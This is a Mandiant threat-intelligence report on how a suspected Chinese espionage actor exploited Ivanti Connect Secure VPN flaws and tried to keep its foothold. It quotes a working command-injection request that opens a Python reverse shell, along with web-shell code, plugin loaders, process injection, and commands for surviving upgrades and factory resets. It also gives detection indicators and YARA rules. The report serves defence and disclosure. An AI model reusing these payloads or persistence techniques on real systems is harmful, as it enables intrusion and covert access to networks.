Cutting Edge, Part 3: Investigating Ivanti Connect Secure VPN Exploitation and Persistence Attempts

By Mandiant

Published: 2024-02-27 · Archived: 2026-04-05 14:58:45 UTC

Written by: Matt Lin, Robert Wallace, Austin Larsen, Ryan Gandrud, Jacob Thompson, Ashley Pearson, Ashley Frazer

---

Mandiant and Ivanti's investigations into widespread Ivanti zero-day exploitation have continued across a variety of industry verticals, including the U.S. defense industrial base sector. Following the initial publication on Jan. 10, 2024, Mandiant observed mass attempts to exploit these vulnerabilities by a small number of China-nexus threat actors, and development of a mitigation bypass exploit targeting CVE-2024-21893 used by UNC5325, which we introduced in our "Cutting Edge, Part 2" blog post.

Notably, Mandiant has identified UNC5325 using a combination of living-off-the-land (LotL) techniques to better evade detection, while deploying novel malware such as LITTLELAMB.WOOLTEA in an attempt to persist across system upgrades, patches, and factory resets. While the limited attempts observed to maintain persistence have not been successful to date due to a lack of logic in the malware's code to account for an encryption key mismatch, it further demonstrates the lengths UNC5325 will go to maintain access to priority targets and highlights the importance of ensuring network appliances have the latest updates and patches.

Ivanti customers are urged to take immediate action to ensure protection if they haven't done so already. A new version of the external Integrity Checking Tool (ICT), which helps detect these persistence attempts, is now available. See Ivanti's security advisory and refer to our updated remediation and hardening guide, which includes the latest recommendations.

The exploitation of the Ivanti zero-days has likely impacted numerous appliances. While much of the activity has been automated, there has been a smaller subset of follow-on activity providing further insights on attacker tactics, techniques, and procedures (TTPs). Mandiant assesses additional actors will likely begin to leverage these vulnerabilities to enable their operations.

To date, Ivanti has disclosed the following five vulnerabilities affecting Ivanti Connect Secure and other products.

Date	CVE	CVSS	Description
Jan. 10, 2024	CVE-2023-46805	8.2	Authentication bypass vulnerability in web component

Jan. 10, 2024	CVE-2024-21887	9.1	Command injection vulnerability in web component
Jan. 31, 2024	CVE-2024-21888	8.8	Privilege escalation vulnerability in web component
Jan. 31, 2024	CVE-2024-21893	8.2	SSRF vulnerability in the SAML component
Feb. 08, 2024	CVE-2024-22024	8.3	XXE vulnerability in the SAML component

Table 1: Ivanti vulnerability disclosures Jan. 10, 2024 to Feb. 8, 2024

In our previous blog post, we described a mitigation bypass that was used to drop a newly identified BUSHWALK webshell. The mitigation bypass is now tracked as CVE-2024-21893. It is a server-side request forgery (SSRF) vulnerability in the SAML component of Ivanti Connect Secure (CS), Policy Secure (PS), and Neurons for Zero Trust Access (NZTA) appliances that was addressed in the patches and mitigations released on Jan. 31, 2024.

Since that post, an additional vulnerability was reported on Feb. 8, 2024, by Ivanti, CVE-2024-22024, related to an XML External Entity (XXE) vulnerability in the SAML component that allows unauthenticated attackers to gain access to restricted resources on patched appliances.

Attribution

UNC5325

UNC5325 is a suspected Chinese cyber espionage operator that exploited CVE-2024-21893 to compromise Ivanti Connect Secure appliances. UNC5325 leveraged code from open-source projects, installed custom malware, and modified the appliance's settings in order to evade detection and attempt to maintain persistence. UNC5325 has been observed deploying LITTLELAMB.WOOLTEA, PITSTOP, PITDOG, PITJET, and PITHOOK. Mandiant identified TTPs and malware code overlaps in LITTLELAMB.WOOLTEA and PITHOOK with malware leveraged by UNC3886. Mandiant assesses with moderate confidence that UNC5325 is associated with UNC3886.

UNC3886

UNC3886 is a suspected Chinese espionage operator that has compromised network devices at targets where they leveraged novel techniques against virtualization technologies. They installed custom malware built for such technologies by leveraging code from open-source projects as well as exploiting zero-day vulnerabilities. UNC3886 has primarily targeted the defense industrial base, technology, and telecommunication organizations located in the US and APJ regions. We are continuing to gather evidence and identify overlaps between UNC3886 and other suspected Chinese espionage groups, including targeting and the use of distinct tactics, techniques, and procedures (TTPs).

New TTPs and Malware

Since our last blog post on Ivanti exploitation, Mandiant has identified UNC5325 exploiting CVE-2024-21893 (SSRF) to deploy additional malware and maintain persistent access to compromised appliances. In addition, we have observed new TTPs that attempted to enable the custom backdoors to persist across factory resets, system upgrades, and patches. The limited attempts observed to maintain persistence have not been successful to date.

Exploitation of CVE-2024-21893 (SSRF)

Mandiant identified active exploitation of CVE-2024-21893 by UNC5325 as early as Jan. 19, 2024, targeting a limited number of Ivanti Connect Secure appliances.

On Jan. 31, 2024, Ivanti disclosed CVE-2024-21893, a server-side request forgery (SSRF) vulnerability in the SAML component of Ivanti Connect Secure, Ivanti Policy Secure, and Ivanti Neurons for ZTA. To date, we have only identified successful exploitation against Ivanti Connect Secure appliances.

In the same Jan. 31, 2024, announcement, Ivanti released a new XML mitigation to prevent exploitation of all four (4) disclosed CVEs at the time of the announcement. This included:

- CVE-2023-46805 (authentication bypass)
- CVE-2024-21887 (command injection)
- CVE-2024-21888 (privilege escalation)
- CVE-2024-21893 (server-side request forgery)

CVE-2024-21893 allowed for an unauthenticated attacker to exploit an appliance by chaining the previously disclosed command injection vulnerability as described in CVE-2024-21887. This includes appliances with the XML mitigation released on Jan. 10, 2024.

Chaining CVE-2024-21893 (SSRF) and CVE-2024-21887 (Command Injection)

Shortly after the disclosure of CVE-2024-21893, Mandiant observed threat actors chaining the SSRF vulnerability with the command injection vulnerabilities described in CVE-2024-21887 to exploit vulnerable devices.

In some instances, publicly available services, such as Interactsh, were used to validate whether the target was vulnerable to CVE-2024-21893.

```
 GET /api/v1/license/keys-status/;python -c 'import
socket;socket.gethostbyname("<randomstring>.oast.live")'
```

Figure 1: CVE-2024-21893 vulnerability validation

Shortly after a vulnerable target was identified, the threat actor executed follow-on commands to perform reconnaissance and, in some cases, establish a reverse shell.

```
 GET /api/v1/license/keys-status/;python -c 'import
socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
;s.connect(("<remote_ip>",<port>));subprocess.call(["/bin/sh","-i"]
```

Figure 2: Python reverse TCP shell

Identifying Exploitation Attempts

Exploitation of the SSRF vulnerability in the SAML component generates up to two (2) log events and some host-based artifacts on an affected appliance.

If the Ivanti Connect Secure appliance is configured to log unauthenticated requests, event ID `AUT31556` is generated when an unauthenticated attacker requests the vulnerable SAML endpoint, `/dana-ws/saml.ws`. The event includes the source IP address of the unauthenticated request.

```
 AUT31556: Unauthenticated request url /dana-ws/saml.ws came from IP
<REDACTED>.
```

Figure 3: Event log entry showing unauthenticated request to vulnerable SAML endpoint

In addition, the server fails to gracefully handle the maliciously crafted SAML payload to exploit CVE-2024-21893. The appliance generates an error event log entry with event ID `ERR31903` when the `saml-server` process crashes, which is potentially indicative of an exploitation attempt.

```
 ERR31093: Program saml-server recently failed.
```

Figure 4: Event log entry of process crash

We recommend analyzing both allocated and unallocated disk space on the forensic image for the presence of the log events as we have observed the threat actor deleting the relevant log files.

Lastly, the crash of the `saml-server` process generates core dumps located in `/data/var/cores/`. If the core dumps are available, it is possible to extract the crafted SAML message, HTTP headers of the request, and the source IP address. We have observed the threat actor deleting the contents of the `cores` directory, but we have successfully recovered relevant fragments of the core dumps through file carving.

BUSHWALK Variant

In Cutting Edge, Part 2, we introduced a new web shell tracked as BUSHWALK associated with the exploitation of CVE-2024-21893 and CVE-2024-21887. Similar to other web shells observed in this campaign, BUSHWALK is written in Perl and embedded into a legitimate Ivanti Connect Secure component, `querymanifest.cgi`.

Mandiant identified a new variant of BUSHWALK through our incident response engagements. This new variant of BUSHWALK was identified on a compromised appliance less than twelve (12) hours following Ivanti's

disclosure of CVE-2024-21893 on Jan. 31, 2024. The variant is similar to the BUSHWALK sample described in our previous blog post, but with a new function named `checkVerison` that enables arbitrary file read from the appliance. The function is executed when the decrypted payload contains the string check. Figure 5 shows the relevant `checkVerison` function.

```
 sub checkVerison
{
    my ($file, $key) = @_;
    my $contents = "";
    my $buffer;
    my $bytesread = 0;
    my $totalbytesread = 0;
    local *FILE;
    CORE::open(*FILE, $file);
    while($bytesread = sysread(FILE, $buffer, 1024)) {
        $contents .= $buffer;
        $totalbytesread += $bytesread;
    }
    if ($totalbytesread == 0) {
        print "Unable to read file with path: $file";
        print CGI::header(-type=>"text/html", -status=> '404 Not Found');
        exit;
    }
    print CGI::header();
    $contents = RC4($key, $contents);
    $contents = MIME::Base64::encode_base64($contents);
    print $contents;
    close *FILE;
}
```

Figure 5: BUSHWALK's `checkVerison` function for file reading

Note that we have observed the same RC4 key for decrypting issued commands across the two BUSHWALK variants and all identified samples.

In addition, we have seen the threat actor demonstrate a nuanced understanding of the appliance and their ability to subvert detection throughout this campaign. We identified a technique allowing BUSHWALK to remain in an undetected dormant state by creatively modifying a Perl module and LotL technique by using built-in system utilities unique to Ivanti products.

To accomplish this, the threat actor first modifies a Perl module, `DSUserAgentCap.pm`, that evaluates incoming user agents. The modification enables the threat actor to either activate or deactivate BUSHWALK depending on the incoming HTTP request's user agent.

Figure 6 provides the excerpt of the modification in `DSUserAgentCap.pm`. Note the difference in spelling between `App1eWebKit` and `AppIeWebKit` in the two user agent strings.

```
 sub getUserAgentType {
   my ($user_agent) = @_;
   if ($user_agent eq "Mozilla/5.0 (Windows NT 10.0; Win64; x64)
App1eWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36"){
        system("mount -o remount,rw /");
        system("/home/bin/configdecrypt /data/runtime
/cockpit/diskAnalysis /data/runtime/cockpit/diskAnalysis.bak");
        system("cp /home/webserver/htdocs/dana-na/jam/querymanifest.cgi
/home/webserver/htdocs/dana-na/jam/querymanifest.cgi.bak");
        system("echo '/home/webserver/htdocs/dana-na/jam
/querymanifest.cgi' >> /home/etc/manifest/exclusion_list");
        system("mv /data/runtime/cockpit/diskAnalysis.bak
/home/webserver/htdocs/dana-na/jam/querymanifest.cgi");
        system("chmod 755 /home/webserver/htdocs/dana-na/jam
/querymanifest.cgi");
        system("mkdir /debug");
        system("/home/bin/restartServer.pl Restart");
        exit(0);
   }
   elsif ($user_agent eq "Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppIeWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36"){
        system("mv /home/webserver/htdocs/dana-na/jam
/querymanifest.cgi.bak /home/webserver/htdocs/dana-na/jam/querymanifest.cgi");
        system("touch -r /home/webserver/htdocs/dana-na/auth
/setcookie.cgi /home/webserver/htdocs/dana-na/jam/querymanifest.cgi");
        system("/bin/sed -i '\$d' /home/etc/manifest/exclusion_list");
        system("rm -rf /debug");
        system("mount -o remount,ro /");
        exit(0);
   }
   else{
        my $type  = DSClientTypes::getUserAgentType($user_agent);
        return $type;
   }
```

Figure 6: Excerpt of DSUserAgentCap.pm

An encrypted version of BUSHWALK is placed in a directory excluded by the integrity checker tool (ICT) in `/data/runtime/cockpit/diskAnalysis`.

The activation routine (the `if` block) uses a built-in utility on the appliance located in `/home/bin/configdecrypt` used for decrypting the system's configuration. The routine executes the `configdecrypt` utility to decrypt `diskAnalysis` containing the BUSHWALK web shell. It then makes a backup of the original `querymanifest.cgi` file, adds it to the `exclusion_list`, moves BUSHWALK to the web server directory, and restarts the web server to load the web shell.

The deactivation routine (the `elseif` block) restores the original `querymanifest.cgi` file, timestomps it using `touch` to hide their activity, removes the path of BUSHWALK from `exclusion_list`, and restarts the web server. However, the encrypted version of BUSHWALK remains dormant in a dynamic directory and therefore is not scanned by the integrity checker tool. It continues to quietly persist in `/data/runtime/cockpit/diskAnalysis` until the threat actor activates it again.

The internal ICT is configured to run in two-hour intervals by default and is meant to be run in conjunction with continuous monitoring. Any malicious file system modifications made and reverted between the two-hour scan intervals would remain undetected by the ICT. When the activation and deactivation routines are performed tactfully in quick succession, it can minimize the risk of ICT detection by timing the activation routine to coincide precisely with the intended use of the BUSHWALK webshell.

SparkGateway Plugin Abuse

In a limited number of instances following exploitation of CVE-2024-21893, we identified the use of SparkGateway plugins to persistently inject shared objects and deploy backdoors. SparkGateway is a legitimate component of the Ivanti Connect Secure appliance that enables remote access protocols over a browser, such as RDP or SSH. The functionality of SparkGateway can be extended through plugins.

PITFUEL Plugin

Mandiant identified a SparkGateway plugin named `plugin.jar` (PITFUEL) that loads the shared object `libchilkat.so` (LITTLELAMB.WOOLTEA) through the Java Native Interface (JNI) by calling `System.load()`. The shared object persistently deploys backdoors and contains capabilities to persist across system upgrade events, patches, and factory resets.

Figure 7 shows the relevant excerpt of the `PluginManager` class in PITFUEL.

```
public class PluginManager {
 static {
   try {
     System.load("/home/runtime/SparkGateway/libchilkat.so");
   } catch (Exception exception) {}
   try {
     Config config = Config.getInstance();
     config.remove("plugin");
     config.remove("pluginFile");
   } catch (Exception exception) {}
   try {
     Logger logger = Logger.getLogger(Config.class.getName());
     SparkGatewayFilter sparkGatewayFilter = new SparkGatewayFilter();
     logger.setFilter(sparkGatewayFilter);
   } catch (Exception exception) {}
 }

 static class SparkGatewayFilter implements Filter {
```

```
    public boolean isLoggable(LogRecord param1LogRecord) {
      return (param1LogRecord.getLevel().intValue() != Level.
SEVERE.intValue());
    }
  }
}
```

Figure 7: `PluginManager` class of SparkGateway plugin (PITFUEL)

Upon execution, `libchilkat.so` (LITTLELAMB.WOOLTEA) performs a number of initialization routines to ensure that it persistently runs in the background on the compromised system. It accomplishes this by daemonizing itself, attempting to trap `SIGPIPE`, `SIGKILL`, and `SIGTERM` signals, and adjusting the out of memory (OOM) adjustment value (`oom_adj`) to `-17` to keep the process running even when the system is out of memory.

Persistence Across System Upgrades and Patches

Upon first execution, LITTLELAMB.WOOLTEA executes the `first_run()` function. It calls the `edit_current_data_backup()` function that appends its malicious components to an archive, `/data/pkg/data-backup.tgz`. Figure 8 provides the equivalent command sequence.

```
 gzip -d /data/pkg/data-backup.tgz > /dev/null 2>&1

tar -rf /data/pkg/data-backup.tar /data/runtime/SparkGateway/plugin.jar
/data/runtime/SparkGateway/libchilkat.so
/data/runtime/SparkGateway/gateway.conf > /dev/null 2>&1

gzip /data/pkg/data-backup.tar > /dev/null 2>&1

mv /data/pkg/data-backup.tar.gz /data/pkg/data-backup.tgz > /dev/null 2>&1
```

Figure 8: Command sequence executed by `edit_current_data_backup()`

During a system upgrade or when applying a patch, `data-backup.tgz` contains a backup of the `data` directory that is restored after the upgrade event. In addition, the function timestomps `data-backup.tgz` by calling `utimensat`. This modification would ensure its malicious components (`plugin.jar`, `libchilkat.so`, and `gateway.conf`) persist across system upgrades and patches.

```
 (cd / ; tar -zxBf /data/pkg/data-backup.tgz >/dev/null 2>&1)
```

Figure 9: Decompression of `data-backup.tgz` during system upgrade events

In addition, the malware contains a function named `upgrade_monitor()` that supports persistence across system upgrade and patch events. We assess that this acts as a secondary persistence method by making a modification at the precise moment of a system upgrade or patch event.

It monitors for system upgrade events by continually checking the filesystem for the existence of `/tmp/data/root/dev`. This path is used to support a system upgrade process. In other words, the presence of the path indicates to the malware the existence of a system upgrade event.

If the path exists, it intervenes the system upgrade process by appending itself and its constituent components into the archive `/tmp/data/root/samba_upgrade.tar`. During a system upgrade process, the appliance decompresses `samba_upgrade.tar` for data migration purposes. Figure 10 provides the command executed by `upgrade_monitor()` when it detects the existence of `/tmp/data/root/dev`.

```
 tar -rf /tmp/data/root/samba_upgrade.tar
/home/runtime/SparkGateway/plugin.jar
/home/runtime/SparkGateway/libchilkat.so
/home/runtime/SparkGateway/gateway.conf  > /dev/null 2>&1
```

Figure 10: Shell command executed by `upgrade_monitor()`

During the system upgrade or patch process, the `post-install` bash script executes the following to decompress `samba_upgrade.tar`, copying the malicious components (`libchilkat.so`, `plugin.jar`, and `gateway.conf`) to the new active partition. Figure 11 provides the relevant command sequence from `post-install`.

```
 tar -tf $upgrade_partition samba_upgrade.tar > /dev/null 2>&1
if [ $? -eq 0 ]; then
    (cd /; tar -xf $upgrade_partition samba_upgrade.tar >/dev/null)
fi
```

Figure 11: Decompression of `samba_upgrade.tar` by `post-install` script

Attempted Persistence Across Factory Resets

Next, LITTLELAMB.WOOLTEA executes `first_run()`, which reads and checks the hardware of the appliance by reading the first four (4) bytes of the motherboard serial number at `/proc/ive/mbserialnumber` and adjusts its behavior to mount the root partition of the factory reset image for further modification.

If the four (4) bytes match the strings `0331`, `0332`, `0340`, `0481`, or `0482`, the malware executes the following command to mount `/dev/md5` (factory reset root partition) on `/dev/loop5`.

```
/bin/losetup /dev/loop5 /dev/md5 > /dev/null 2>&1
```

Figure 12: Command to set up loop device for block device `/dev/md5`

Each of the four-byte strings corresponds to a physical Pulse Secure Appliance (PSA) or a Ivanti Secure Appliance (ISA) product.

Machine ID	Appliance Model Number
0331	PSA 7000F
0332	PSA 7000C
0340	PSA 10000
0481	ISA 8000F
0482	ISA 8000C

Table 2: Machine ID to physical appliance model number

Otherwise, the malware executes the following command to mount `/dev/xda5` (factory reset root partition) on `/dev/loop5` if the four (4) bytes do not match any of the machine ID strings or if it fails to read `/proc/ive/mbserialnumber`.

```
/bin/losetup /dev/loop5 /dev/xda5 > /dev/null 2>&1
```

Figure 13: Command to set up loop device for block device `/dev/xda5`

Next, LITTLELAMB.WOOLTEA mounts the newly created loop device (`/dev/loop5`) to `/tmp/tmpmnt` to modify the factory reset root partition. Figure 14 provides the equivalent command sequence.

```
 mkdir -m 777 /tmp/tmpmnt
mount /dev/loop5 /tmp/tmpmnt -t ext2
```

Figure 14: Command to mount loop device `/dev/loop5`

It's important to note that `/bin/losetup` uses an embedded encryption key within the running version's kernel used to decrypt the running version's partition. This encryption key is hardcoded at the time of build compilation and is unique for each appliance version.

However, the factory reset partition maintains its own independent encryption key embedded in the factory kernel. If the current running version and the factory reset deployment versions differ (i.e., the appliance or VM has been updated at least once), then `/bin/losetup` will fail to decrypt the factory reset partition due to the encryption key mismatch and thus the malware will not persist after factory reset.

Note that Mandiant and Ivanti conducted forensic analysis on an affected appliance after factory reset to confirm no evidence of malware persistence. Because the appliance had undergone at least one update since its initial deployment, the malware failed to persist through the factory reset as the encryption key of the factory reset kernel and the running version kernel were different.

If `losetup` had succeeded in decrypting the factory reset image, the malware would continue its persistence workflow. To modify the factory reset process, it calls the `edit_factory_reset()` function that renames the `tar` binary to `tra` in the mounted factory reset partition.

```
mv /tmp/tmpmnt/bin/tar /tmp/tmpmnt/bin/tra
```

Figure 15: Command to rename `tar` binary

Then, the malware writes a trojanized version of the `tar` binary to `/tmp/tmpmnt/bin/tar`, makes the `tar` binary executable, and preemptively appends its malicious components (using the legitimate `tar` utility) to the archive `/tmp/tmpmnt/bin/samba_upgrade.tar` inside the factory reset partition.

```
 tar -rf /tmp/tmpmnt/bin/samba_upgrade.tar
/home/runtime/SparkGateway/plugin.jar
/home/runtime/SparkGateway/libchilkat.so
/home/runtime/SparkGateway/gateway.conf  > /dev/null 2>&1
```

Figure 16: Command to archive components to `samba_upgrade.tar`

The trojanized `tar` binary checks for a set of specific conditions to copy the malicious `/bin/samba_upgrade.tar` to `/tmp/samba_upgrade.tar` during the factory reset process.

- There are four arguments provided (`argc` is equal to 4)
- The second argument, `argv[1]`, is `-cf`
- The fourth argument, `argv[3]`, is `no-data`

If any of these conditions are not met, the trojanized `tar` binary executes the legitimate `tar` (`/bin/tra`) utility backed up in Figure 15.

The conditions are satisfied by a component of the factory reset procedure responsible for resetting the configuration (`dsconfigreset`). The utility creates an empty file in `/tmp/no-data` and archives it using `/bin/tar -cf`. Figure 17 provides the relevant command sequence.

```
 echo "" > /tmp/no-data
(cd /tmp; /bin/tar -cf $tmp_part no-data)
```

Figure 17: Command executed during factory reset by `dsconfigreset`

When `dsconfigreset` executes `/bin/tar -cf $tmp_part no-data`, the trojanized `tar` copies the contents of `/bin/samba_upgrade.tar` containing its malicious components to `/tmp/samba_upgrade.tar` in the factory

reset root partition (mounted on `/tmp/tmpmnt`).

Next, similar to the previously described system upgrade persistence flow, the appliance executes the `post-install` bash script during the installation process of the new system. This script decompresses the `samba_upgrade.tar` archive in the factory reset partition, copying the malicious components (`libchilkat.so`, `plugin.jar`, and `gateway.conf`) to the new active partition created after the factory reset.

Hooking the Web Server Process

The `httpd_monitor()` function ensures the persistent injection of another shared object, `libaprhelper.so` (PITSOCK), into the `web` process using a built-in injection function named `inject_loop()`.

PITSOCK hooks the functions `accept` and `setsockopt` of the `web` process by modifying its procedure linkage table (PLT). This enables backdoor communication via the Unix socket `/tmp/clientsDownload.sock` when it receives a specific 48-byte magic byte sequence in the incoming buffer.

Creating the Malicious SparkGateway Plugin

Lastly, `libchilkat.so` calls `persist()`, which modifies the SparkGateway configuration file. Figure 18 shows an excerpt from the modified SparkGateway configuration file to support and load the plugin.

```
 plugin = com.toremote.gateway.plugin.PluginManager
pluginFile = /home/runtime/SparkGateway/plugin.jar
```

Figure 18: Excerpt of SparkGateway configuration file

Backdoor Features

`libchilkat.so` also serves as a stand-alone backdoor that supports expected features such as command execution, file management, shell creation, SOCKS proxy, and network traffic tunneling. It communicates over SSL using the private key located on the Ivanti Connect Secure web server (`/home/webserver/conf/ssl.key/secure.key`) and communicates using the socket `/tmp/clientsDownload.sock`.

PITDOG Plugin

Mandiant identified a second malicious SparkGateway plugin named `security.jar` (PITDOG) that uses Kubo Injector (`memorysCounter`) to inject a shared object, `mem.rd` (PITHOOK), into the `web` process memory, and persistently executes a backdoor, `dsAgent` (PITSTOP). Figure 19 shows the relevant excerpts from `security.jar`.

```
public class SparkPlugin implements ManagerInterface {
 public static void watchdog() {
   try {
```

```
      Thread.sleep(300000L);
      ProcessBuilder processBuilder = new ProcessBuilder(new String[0]);
      Process process = Runtime.getRuntime().exec(new String[] { "/bin/sh",
"-c", "ps aux|grep '/home/bin/web'|grep -v grep |
awk '{if (NR!=1) {print $2}}'" });
      BufferedReader reader = new BufferedReader(new InputStreamReader
(process.getInputStream()));
      String line;
      while ((line = reader.readLine()) != null) {
        int procnum = Integer.parseInt(line);
        String catprocstr = String.format("cat /proc/%d/maps | grep mem.rd",
new Object[] { Integer.valueOf(procnum) });
        Process processinjectres = Runtime.getRuntime().exec(new String[]
{ "/bin/sh", "-c", catprocstr });
        BufferedReader processinjectreader = new BufferedReader(new
InputStreamReader(processinjectres.getInputStream()));
        if ((line = processinjectreader.readLine()) == null) {
          String processinjectstr = String.format("/data/runtime/cockpit
/memorysCounter -p %d /data/runtime/cockpit/mem.rd", new Object[]
{ Integer.valueOf(procnum) });
          Process process1 = Runtime.getRuntime().exec(new String[]
{ "/bin/sh", "-c", processinjectstr });
        }
      }
      Process processps = Runtime.getRuntime().exec(new String[]
{ "/bin/sh", "-c", "ps aux|grep '/data/runtime/cockpit/dsAgent'|grep
-v grep | awk '{print $2}'" });
      BufferedReader readerps = new BufferedReader(new
InputStreamReader(processps.getInputStream()));
      if ((line = readerps.readLine()) == null) {
        Process processinjectres = Runtime.getRuntime().exec("rm
-f /data/runtime/cockpit/wd.lock");
        ProcessBuilder processBuilder1 = (new ProcessBuilder(new
String[] { "/data/runtime/cockpit/dsAgent" })).redirectErrorStream(true);
        Process process1 = processBuilder1.start();
      }
    } catch (Exception exception) {}
  }

  public HandshakeInterface getHandshakePlugin() {
    long timeInterval = 10000L;
    Runnable runnable = new Runnable() {
        public void run() {
          while (true) {
            SparkPlugin.watchdog();
            try {
              Thread.sleep(10000L);
```

```
            } catch (InterruptedException e) {
              e.printStackTrace();
            }
          }
        }
      };
    Thread thread = new Thread(runnable);
    thread.start();
    return null;
  }
```

Figure 19: Excerpt of security.jar plugin

The SparkGateway configuration is modified to load the plugin. Figure 20 shows the relevant excerpt from `gateway.conf`.

```
 plugin = SparkPlugin
pluginFile = /data/runtime/cockpit/security.jar
```

Figure 20: Excerpt of SparkGateway configuration file

The `security.jar` plugin is executed during the negotiation of an RDP connection when the system invokes the Handshake plugin. The `getHandshakePlugin()` method creates a new thread from a Runnable interface that repeatedly calls `SparkPlugin.watchdog()` every ten (10) seconds. This acts as a persistence method to ensure the continuous execution of the malicious `watchdog` method without interfering with the primary operation of the SparkGateway application.

The `watchdog` method first checks if the shared object `mem.rd` (PITHOOK) is mapped within the `web` process memory. If not, it injects `mem.rd` into the `web` process.

Figure 21 shows the command executed to inject PITHOOK (`mem.rd`) into the web process, where `%d` represents the process ID (PID) of the `web` process.

```
/data/runtime/cockpit/memorysCounter -p %d /data/runtime/cockpit/mem.rd
```

Figure 21: Command to inject PITHOOK

We determined that `/data/runtime/cockpit/memorysCounter` is a direct instance of Kubo Injector without any additional modifications or changes. Kubo Injector is based on the popular linux-inject project, a utility that can inject a shared object into an arbitrary process given a process name or process ID.

PITHOOK hooks the `accept` and `accept4` functions within the `web` process by modifying the PLT. When PITHOOK receives a buffer matching the predefined magic byte sequence, it will duplicate the socket and forward it to PITSTOP over the Unix domain socket `/data/runtime/cockpit/wd.fd`.

Lastly, the `watchdog` method will execute the PITSTOP backdoor (`/data/runtime/cockpit/dsAgent`) if it is not already running.

PITSTOP creates and listens on the Unix domain socket located at `/data/runtime/cockpit/wd.fd` . It waits to receive a socket forwarded by PITHOOK after receiving the predefined magic byte sequence. Then PITSTOP duplicates the socket for further communication over TLS. When the TLS connection is established, PITSTOP uses Base64 and a hard-coded AES key to evaluate the incoming command. It supports shell command execution, file write, and file read on the compromised appliance.

Outlook and Implications

UNC5325's TTPs and malware deployment showcase the capabilities that suspected China-nexus espionage actors have continued to leverage against edge infrastructure in conjunction with zero days. Similar to UNC4841's familiarity with Barracuda ESGs, UNC5325 demonstrates significant knowledge of the Ivanti Connect Secure appliance as seen in both the malware they used and the attempts to persist across factory resets. Mandiant expects UNC5325 as well as other China-nexus espionage actors to continue to leverage zero day vulnerabilities on network edge devices as well as appliance-specific malware to gain and maintain access to target environments.

The material in this blog post is being shared as cyber threat indicators and defensive measures solely for cybersecurity purposes in accordance with the Cybersecurity Information Sharing Act of 2015 ("CISA/2015"). This information is subject to the provisions of CISA/2015, including 6 U.S. Code § 1504(d)(1).

Indicators of Compromise (IOCs)

Host-Based Indicators (HBIs)

Filename	MD5	Description
`DSUserAgentCap.pm`	e4fe3a314a3aee5aee9c55787a33671c	BUSHWALK activator / deactivator
`querymanifest.cgi`	e48716521dc48425feae71bc9dc768cd	BUSHWALK variant
`diskCounters`	8c4b32e8ee9e0b2f8dab01364971ffff	Dropper for DSUserAgentCap.pm
`diskmonitor`	e33a3a90f1f8fa6d8f17bc6151b027d6	Encrypted DSUserAgentCap.pm
`diskAnalysis`	6c58b8b1e3b36a5a124afd110c109ebc	Encrypted BUSHWALK variant

Filename	MD5	Description
`plugin.jar`	b76d7890a7a7ff6d0b1151a8251e318f	PITFUEL SparkGateway plugin
`gateway.conf`	9e0941c4851d414b5d25dd15872c3e47	SparkGateway config to load PITFUEL
`libchilkat.so`	fd83b3e9db57838b62c5baf8218ce5a8	LITTLELAMB.WOOLTEA backdoor
`libaprhelper.so`	2ddeca6511506fe435dc1f63b4cf061c	PITSOCK backdoor
`security.jar`	f64a799ff16aded3f4d6706ffbd7e6dd	PITDOG SparkGateway plugin
`gateway.conf`	fb973c8bbfdba234ea83ee20084dcac9	SparkGateway config to load PITDOG
`mem.rd`	5368b1122c10fa7850f44d3e16fc18fb	PITHOOK backdoor
`memorysCounter`	31a591a28198f05e9ab4d12609a9ce81	Kubo Injector
`dsAgent`	5f561f217a8046de8cadf418ef4dfda0	PITSTOP backdoor
`wd.fd`	N/A	Unix domain socket for PITSTOP
`wd.lock`	N/A	Mutex for PITSTOP

Table 3: Host-based indicators

YARA Rules

```
rule M_Launcher_PITDOG_1 {
 meta:
   author = "Mandiant"
   description = "This rule is designed to detect on events
```

```
related to PITDOG."
        strings:
                $str2 = "cat /proc/%d/maps | grep mem.rd"
                $str3 = "/data/runtime/cockpit/memorysCounter
-p %d /data/runtime/cockpit/mem.rd"
                $str4 = "rm -f /data/runtime/cockpit/wd.lock"
                $str5 = "/data/runtime/cockpit/dsAgent"
                $str6 = "watchdog"
                $str7 = "ps aux|grep '/home/bin/web'|grep -v grep
| awk '{if (NR!=1) {print $2}}'"
condition:
        uint32(0) == 0xBEBAFECA and all of them
}
```

```
 rule M_Utility_PITHOOK_1 {
  meta:
    author = " Mandiant"
    description = "This rule is designed to detect on events
related to PITHOOK."
        strings:
                $str1 = "/data/runtime/cockpit/wd.fd"
                $str2 = "/proc/self/maps"
                $str3 = "plthook_open"
                $str4 = "plthook_replace"
                $str5 = "plthook_close"
                $str6 = "plthook_open_by_handle"
                $str7 = "plthook_open_by_address"
                $str8 = "plthook_enum"
                $str9 = "plthook_error"
                $str10 = "accept4_hook"
        condition:
                uint32(0) == 0x464C457F and all of them
}
```

```
 rule M_Hunting_Webshell_BUSHWALK_1 {
  meta:
    author = "Mandiant"
    description = "This rule detects BUSHWALK, a webshell
written in Perl CGI that is embedded into a legitimate
Pulse Secure file to enable file transfers"
  strings:
    $s1 = "SafariiOS" ascii
    $s2 = "command" ascii
    $s3 = "change" ascii
    $s4 = "update" ascii
```

```
    $s5 = "$data = RC4($key, $data);" ascii
  condition:
    filesize < 5KB
    and all of them
}
```

```
 rule M_Hunting_Launcher_PITFUEL_1 {
    meta:
                author = "Mandiant"
                description = "This rule detects class used in
PITFUEL, a malicious JAR-based launcher that loads malicious code"
        strings:
                $h1 = {50 4B 03 04}
                $s1 = "com/toremote/gateway/plugin/PluginManager.class"
        condition:
                $h1 at 0 and for any i in (0..#h1): ($s1 in (@h1[i]..@h1[i]+80))
}
```

Mandiant Security Validation Actions

VID	Name
A106-935	Application Vulnerability - CVE-2023-46805, Authentication Bypass, Variant #1
A106-934	Application Vulnerability - CVE-2024-21887, Command Injection, Variant #1
A106-936	Application Vulnerability - CVE-2024-21887, Command Injection, Variant #2
A106-986	Application Vulnerability - CVE-2024-21893, Exploitation, Variant #1
A107-055	Application Vulnerability - CVE-2024-22024, Exploitation, Variant #1
A107-060	Malicious File Transfer - BUSHWALK, Download, Variant #1

Posted in

- Threat Intelligence

Source: https://cloud.google.com/blog/topics/threat-intelligence/investigating-ivanti-exploitation-persistence/